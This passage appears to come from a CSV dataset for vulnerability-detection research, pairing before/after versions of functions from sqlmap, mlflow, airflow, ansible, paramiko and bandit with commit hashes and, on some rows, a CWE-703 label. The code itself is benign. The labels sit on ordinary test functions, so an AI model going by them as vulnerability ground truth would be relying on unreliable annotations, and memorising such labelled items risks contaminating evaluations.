                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            if hasattr(conf, ""api""):
                logger.critical(""%s\n%s"" % (errMsg, excMsg))
            else:
                logger.critical(errMsg)
                kb.stickyLevel = logging.CRITICAL
                dataToStdout(excMsg)
                createGithubIssue(errMsg, excMsg)

        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False
        kb.threadException = True

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        if kb.get(""tempDir""):
            shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if hasattr(conf, ""api""):
            try:
                conf.database_cursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
        if conf.get(""threads"", 0) > 1 or conf.get(""dnsServer""):
            os._exit(0)",,sqlmapproject/sqlmap,4cd3813f683a8903ab392122785bc512ada280ea,"def main():
    """"""
    Main function of sqlmap when running from command line.
    """"""

    try:
        paths.SQLMAP_ROOT_PATH = modulePath()

        try:
            os.path.isdir(paths.SQLMAP_ROOT_PATH)
        except UnicodeEncodeError:
            errMsg = ""your system does not properly handle non-ASCII paths. ""
            errMsg += ""Please move the sqlmap's directory to the other location""
            logger.error(errMsg)
            raise SystemExit

        setPaths()

        # Store original command line options for possible later restoration
        cmdLineOptions.update(cmdLineParser().__dict__)
        initOptions(cmdLineOptions)

        if hasattr(conf, ""api""):
            # Overwrite system standard output and standard error to write
            # to an IPC database
            sys.stdout = StdDbOut(conf.taskid, messagetype=""stdout"")
            sys.stderr = StdDbOut(conf.taskid, messagetype=""stderr"")
            setRestAPILog()

        banner()

        conf.showTime = True
        dataToStdout(""[!] legal disclaimer: %s\n\n"" % LEGAL_DISCLAIMER, forceOutput=True)
        dataToStdout(""[*] starting at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        init()

        if conf.profile:
            profile()
        elif conf.smokeTest:
            smokeTest()
        elif conf.liveTest:
            liveTest()
        else:
            try:
                start()
            except thread.error as ex:
                if ""can't start new thread"" in getSafeExString(ex):
                    errMsg = ""unable to start new threads. Please check OS (u)limits""
                    logger.critical(errMsg)
                    raise SystemExit
                else:
                    raise

    except SqlmapUserQuitException:
        errMsg = ""user quit""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except (SqlmapSilentQuitException, bdb.BdbQuit):
        pass

    except SqlmapShellQuitException:
        cmdLineOptions.sqlmapShell = False

    except SqlmapBaseException as ex:
        errMsg = getSafeExString(ex)
        try:
            logger.critical(errMsg)
        except KeyboardInterrupt:
            pass
        raise SystemExit

    except KeyboardInterrupt:
        print

        errMsg = ""user aborted""
        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except EOFError:
        print
        errMsg = ""exit""

        try:
            logger.error(errMsg)
        except KeyboardInterrupt:
            pass

    except SystemExit:
        pass

    except:
        print
        errMsg = unhandledExceptionMessage()
        excMsg = traceback.format_exc()

        try:
            if any(_ in excMsg for _ in (""No space left"", ""Disk quota exceeded"")):
                errMsg = ""no space left on output device""
                logger.error(errMsg)
                raise SystemExit

            elif all(_ in excMsg for _ in (""pymysql"", ""configparser"")):
                errMsg = ""wrong initialization of pymsql detected (using Python3 dependencies)""
                logger.error(errMsg)
                raise SystemExit

            elif ""bad marshal data (unknown type code)"" in excMsg:
                match = re.search(r""\s*(.+)\s+ValueError"", excMsg)
                errMsg = ""one of your .pyc files are corrupted%s"" % ("" ('%s')"" % match.group(1) if match else """")
                errMsg += "". Please delete .pyc files on your system to fix the problem""
                logger.error(errMsg)
                raise SystemExit

            for match in re.finditer(r'File ""(.+?)"", line', excMsg):
                file_ = match.group(1)
                file_ = os.path.relpath(file_, os.path.dirname(__file__))
                file_ = file_.replace(""\\"", '/')
                file_ = re.sub(r""\.\./"", '/', file_).lstrip('/')
                excMsg = excMsg.replace(match.group(1), file_)

            errMsg = maskSensitiveData(errMsg)
            excMsg = maskSensitiveData(excMsg)

            logger.critical(errMsg)
            kb.stickyLevel = logging.CRITICAL
            dataToStdout(excMsg)
            createGithubIssue(errMsg, excMsg)
        except KeyboardInterrupt:
            pass

    finally:
        kb.threadContinue = False
        kb.threadException = True

        if conf.get(""showTime""):
            dataToStdout(""\n[*] shutting down at %s\n\n"" % time.strftime(""%X""), forceOutput=True)

        if kb.get(""tempDir""):
            shutil.rmtree(kb.tempDir, ignore_errors=True)

        if conf.get(""hashDB""):
            try:
                conf.hashDB.flush(True)
            except KeyboardInterrupt:
                pass

        if cmdLineOptions.get(""sqlmapShell""):
            cmdLineOptions.clear()
            conf.clear()
            kb.clear()
            main()

        if hasattr(conf, ""api""):
            try:
                conf.database_cursor.disconnect()
            except KeyboardInterrupt:
                pass

        if conf.get(""dumper""):
            conf.dumper.flush()

        # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program
        if conf.get(""threads"", 0) > 1 or conf.get(""dnsServer""):
            os._exit(0)"
,UNKNOWN,UNKNOWN,tests/tensorflow/test_keras_model_export.py,1,"def test_model_load_from_remote_uri_succeeds(model, model_path, mock_s3_bucket, data, predicted):
    x, _ = data
    mlflow.tensorflow.save_model(model, path=model_path)

    artifact_root = f""s3://{mock_s3_bucket}""
    artifact_path = ""model""
    artifact_repo = S3ArtifactRepository(artifact_root)
    artifact_repo.log_artifacts(model_path, artifact_path=artifact_path)

    model_uri = artifact_root + ""/"" + artifact_path
    model_loaded = mlflow.tensorflow.load_model(model_uri=model_uri)
    assert all(model_loaded.predict(x.values) == predicted)",CWE-703,mlflow/mlflow,9eeeff414d119c7df72b10da3dda8daf000d85ea,"def test_model_load_from_remote_uri_succeeds(model, model_path, mock_s3_bucket, data, predicted):
    x, _ = data
    mlflow.tensorflow.save_model(model, path=model_path)

    artifact_root = ""s3://{bucket_name}"".format(bucket_name=mock_s3_bucket)
    artifact_path = ""model""
    artifact_repo = S3ArtifactRepository(artifact_root)
    artifact_repo.log_artifacts(model_path, artifact_path=artifact_path)

    model_uri = artifact_root + ""/"" + artifact_path
    model_loaded = mlflow.tensorflow.load_model(model_uri=model_uri)
    assert all(model_loaded.predict(x.values) == predicted)"
,UNKNOWN,UNKNOWN,tests/www/views/test_views_tasks.py,1,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&logical_date={STR_DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""also_run_this"",
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""run_after_loop"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_after_loop"",
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""run_this_last"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_this_last"",
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""runme_0"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_0"",
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""runme_1"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_1"",
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""runme_2"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_2"",
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""this_will_skip"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""scheduled_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""this_will_skip"",
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
    }",CWE-703,apache/airflow,24d0fb9762076625da008f752e9a22abc12310a4,"def test_task_instances(admin_client):
    """"""Test task_instances view.""""""
    resp = admin_client.get(
        f""/object/task_instances?dag_id=example_bash_operator&logical_date={STR_DEFAULT_DATE}"",
        follow_redirects=True,
    )
    assert resp.status_code == 200
    assert resp.json == {
        ""also_run_this"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""also_run_this"",
            ""task_id"": ""also_run_this"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""run_after_loop"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_after_loop"",
            ""task_id"": ""run_after_loop"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""run_this_last"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""EmptyOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 1,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""run_this_last"",
            ""task_id"": ""run_this_last"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""runme_0"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_0"",
            ""task_id"": ""runme_0"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""runme_1"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_1"",
            ""task_id"": ""runme_1"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""runme_2"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 3,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""runme_2"",
            ""task_id"": ""runme_2"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
        ""this_will_skip"": {
            ""custom_operator_name"": None,
            ""dag_id"": ""example_bash_operator"",
            ""duration"": None,
            ""end_date"": None,
            ""logical_date"": DEFAULT_DATE.isoformat(),
            ""executor"": None,
            ""executor_config"": {},
            ""external_executor_id"": None,
            ""hostname"": """",
            ""id"": unittest.mock.ANY,  # Ignore the `id` field
            ""last_heartbeat_at"": None,
            ""map_index"": -1,
            ""max_tries"": 0,
            ""next_kwargs"": None,
            ""next_method"": None,
            ""operator"": ""BashOperator"",
            ""pid"": None,
            ""pool"": ""default_pool"",
            ""pool_slots"": 1,
            ""priority_weight"": 2,
            ""queue"": ""default"",
            ""queued_by_job_id"": None,
            ""queued_dttm"": None,
            ""rendered_map_index"": None,
            ""run_id"": ""TEST_DAGRUN"",
            ""start_date"": None,
            ""state"": None,
            ""task_display_name"": ""this_will_skip"",
            ""task_id"": ""this_will_skip"",
            ""trigger_id"": None,
            ""trigger_timeout"": None,
            ""try_number"": 0,
            ""unixname"": getuser(),
            ""updated_at"": DEFAULT_DATE.isoformat(),
            ""dag_version_id"": None,
        },
    }"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/keras/test_keras_model_export.py,0,"def load_model(file, **kwars):
            return MyModel(file.get(""x"").value)",,mlflow/mlflow,304a4a422ad100ef19e4eb750276811670d33fed,"def load_model(file, **kwars):
            return MyModel(file.get(""x"").value)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/spark/autologging/datasource/test_spark_disable_autologging.py,0,"def test_autologging_disabled_then_enabled(spark_session, format_to_file_path):
    mlflow.spark.autolog(disable=True)
    data_format = list(format_to_file_path.keys())[0]
    file_path = format_to_file_path[data_format]
    df = (
        spark_session.read.format(data_format)
        .option(""header"", ""true"")
        .option(""inferSchema"", ""true"")
        .load(file_path)
    )
    # Logging is disabled here.
    with mlflow.start_run():
        run_id = mlflow.active_run().info.run_id
        df.collect()
        time.sleep(1)
    run = mlflow.get_run(run_id)
    _assert_spark_data_not_logged(run=run)

    # Logging is enabled here.
    mlflow.spark.autolog(disable=False)
    with mlflow.start_run():
        run_id = mlflow.active_run().info.run_id
        df.filter(""number1 > 0"").collect()
        time.sleep(1)
    run = mlflow.get_run(run_id)
    _assert_spark_data_logged(run=run, path=file_path, data_format=data_format)",,mlflow/mlflow,bb5f2df7276ebb60f93115ce99f1b37dbef8e389,"def test_autologging_disabled_then_enabled(spark_session, format_to_file_path):
    mlflow.spark.autolog(disable=True)
    data_format = list(format_to_file_path.keys())[0]
    file_path = format_to_file_path[data_format]
    df = (
        spark_session.read.format(data_format)
        .option(""header"", ""true"")
        .option(""inferSchema"", ""true"")
        .load(file_path)
    )
    # Logging is disabled here.
    with mlflow.start_run():
        run_id = mlflow.active_run().info.run_id
        df.collect()
        time.sleep(1)
    run = mlflow.get_run(run_id)
    _assert_spark_data_not_logged(run=run)

    # Logging is enabled here.
    mlflow.spark.autolog(disable=False)
    with mlflow.start_run():
        run_id = mlflow.active_run().info.run_id
        df.filter(""number1 > 0"").collect()
        time.sleep(1)
    run = mlflow.get_run(run_id)
    _assert_spark_data_logged(run=run, path=file_path, data_format=data_format)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/cloud/packet/packet_sshkey.py,0,"def act_on_sshkeys(target_state, module, packet_conn):
    selector = get_sshkey_selector(module)
    existing_sshkeys = packet_conn.list_ssh_keys()
    matching_sshkeys = filter(selector, existing_sshkeys)
    changed = False
    if target_state == 'present':
        if matching_sshkeys == []:
            # there is no key matching the fields from module call
            # => create the key, label and
            newkey = {}
            if module.params.get('key_file'):
                with open(module.params.get('key_file')) as f:
                    newkey = load_key_string(f.read())
            if module.params.get('key'):
                newkey = load_key_string(module.params.get('key'))
            if module.params.get('label'):
                newkey['label'] = module.params.get('label')
            for param in ('label', 'key'):
                if param not in newkey:
                    _msg = (""If you want to ensure a key is present, you must ""
                            ""supply both a label and a key string, either in ""
                            ""module params, or in a key file. %s is missing""
                            % param)
                    raise Exception(_msg)
            matching_sshkeys = []
            new_key_response = packet_conn.create_ssh_key(
                newkey['label'], newkey['key'])
            changed = True

            matching_sshkeys.append(new_key_response)
    else:
        # state is 'absent' => delete matching keys
        for k in matching_sshkeys:
            try:
                k.delete()
                changed = True
            except Exception as e:
                _msg = (""while trying to remove sshkey %s, id %s %s, ""
                        ""got error: %s"" %
                        (k.label, k.id, target_state, e))
                raise Exception(_msg)

    return {
        'changed': changed,
        'sshkeys': [serialize_sshkey(k) for k in matching_sshkeys]
    }",,ansible/ansible,255754a4d108b133d433638d3e11a22d748e60d4,"def act_on_sshkeys(target_state, module, packet_conn):
    selector = get_sshkey_selector(module)
    existing_sshkeys = packet_conn.list_ssh_keys()
    matching_sshkeys = filter(selector, existing_sshkeys)
    changed = False
    if target_state == 'present':
        if matching_sshkeys == []:
            # there is no key matching the fields from module call
            # => create the key, label and
            newkey = {}
            if module.params.get('key_file'):
                with open(module.params.get('key_file')) as f:
                    newkey = load_key_string(f.read())
            if module.params.get('key'):
                newkey = load_key_string(module.params.get('key'))
            if module.params.get('label'):
                newkey['label'] = module.params.get('label')
            for param in ('label', 'key'):
                if param not in newkey:
                    _msg = (""If you want to ensure a key is present, you must ""
                            ""supply both a label and a key string, either in ""
                            ""module params, or in a key file. %s is missing""
                            % param)
                    raise Exception(_msg)
            matching_sshkeys = []
            new_key_response = packet_conn.create_ssh_key(
                newkey['label'], newkey['key'])
            changed = True

            matching_sshkeys.append(new_key_response)
    else:
        # state is 'absent' => delete mathcing keys
        for k in matching_sshkeys:
            try:
                k.delete()
                changed = True
            except Exception as e:
                _msg = (""while trying to remove sshkey %s, id %s %s, ""
                        ""got error: %s"" %
                        (k.label, k.id, target_state, e))
                raise Exception(_msg)

    return {
        'changed': changed,
        'sshkeys': [serialize_sshkey(k) for k in matching_sshkeys]
    }"
functions_for_paramiko_with_cwe.csv,UNKNOWN,UNKNOWN,paramiko/client.py,0,"def close(self):
        """"""
        Close this SSHClient and its underlying `.Transport`.

        This should be called anytime you are done using the client object.

        .. warning::
            Paramiko registers garbage collection hooks that will try to
            automatically close connections for you, but this is not presently
            reliable. Failure to explicitly close your client after use may
            lead to end-of-process hangs!
        """"""
        if self._transport is None:
            return
        self._transport.close()
        self._transport = None

        if self._agent is not None:
            self._agent.close()
            self._agent = None",,paramiko/paramiko,a73bf04c4c1105ec731cbd92b7dec350b3d1bdb6,"def close(self):
        """"""
        Close this SSHClient and its underlying `.Transport`.

        .. warning::
            Failure to do this may, in some situations, cause your Python
            interpreter to hang at shutdown (often due to race conditions).
            It's good practice to `close` your client objects anytime you're
            done using them, instead of relying on garbage collection.
        """"""
        if self._transport is None:
            return
        self._transport.close()
        self._transport = None

        if self._agent is not None:
            self._agent.close()
            self._agent = None"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/plugins/injection_sql.py,0,"def hardcoded_sql_expressions(context):
    statement = context.statement['node']
    if isinstance(statement, ast.Assign):
        test_str = _ast_build_string(statement.value).lower()

    elif isinstance(statement, ast.Expr):
        test_str = """"
        if isinstance(statement.value, ast.Call):
            for arg in statement.value.args:
                temp_str = _ast_build_string(arg).lower()
                if context.string_val.lower() in temp_str:
                    test_str = temp_str
    else:
        test_str = context.string_val.lower()

    if (
        (test_str.startswith('select ') and ' from ' in test_str) or
        test_str.startswith('insert into') or
        (test_str.startswith('update ') and ' set ' in test_str) or
        test_str.startswith('delete from ')
    ):
        # if sqlalchemy is not imported and it looks like they are using SQL
        # statements, mark it as a WARNING
        if not context.is_module_imported_like(""sqlalchemy""):
            return(bandit.WARN, 'Possible SQL injection vector through '
